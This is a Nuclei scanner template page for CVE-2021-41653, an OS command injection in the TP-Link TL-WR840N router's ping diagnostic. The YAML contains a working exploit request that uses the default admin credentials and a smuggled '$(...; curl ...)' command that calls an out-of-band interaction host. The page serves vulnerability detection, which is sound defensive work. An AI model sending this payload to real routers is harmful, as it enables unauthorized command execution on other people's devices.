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TP-Link - OS Command Injection

ID: CVE-2021-41653

Severity: critical

Author: gy741

Tags: cve2021,cve,tplink,rce,router,tp-link

Description

Section titled “Description”

The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41653


info:
  name: TP-Link - OS Command Injection
  author: gy741
  severity: critical
  description: The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a specially crafted payload in an IP address input field.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: Upgrade the firmware to at least version "TL-WR840N(EU)_V5_211109".
  reference:
    - https://k4m1ll0.com/cve-2021-41653.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41653
    - https://www.tp-link.com/us/press/security-advisory/
    - http://tp-link.com
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41653
    cwe-id: CWE-94
    epss-score: 0.95198
    epss-percentile: 0.99332
    cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: tp-link
    product: tl-wr840n_firmware
  tags: cve2021,cve,tplink,rce,router,tp-link
variables:
  useragent: '{{rand_base(6)}}'


http:
  - raw:
      - |
        POST /cgi?2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Referer: http://{{Hostname}}/mainFrame.htm
        Cookie: Authorization=Basic YWRtaW46YWRtaW4=


        [IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
        dataBlockSize=64
        timeout=1
        numberOfRepetitions=4
        host=$(echo 127.0.0.1; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}')
        X_TP_ConnName=ewan_ipoe_d
        diagnosticsState=Requested
      - |
        POST /cgi?7 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain
        Referer: http://{{Hostname}}/mainFrame.htm
        Cookie: Authorization=Basic YWRtaW46YWRtaW4=


        [ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100ec48118efa9ae993a57062f0ef0c32187840791253905cb0ccdede1d0da8476a022045000aa4806510a86fb78b0b3a183d8bede224342ac2d7c4e4368b17a59fc3e7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41653.yaml"

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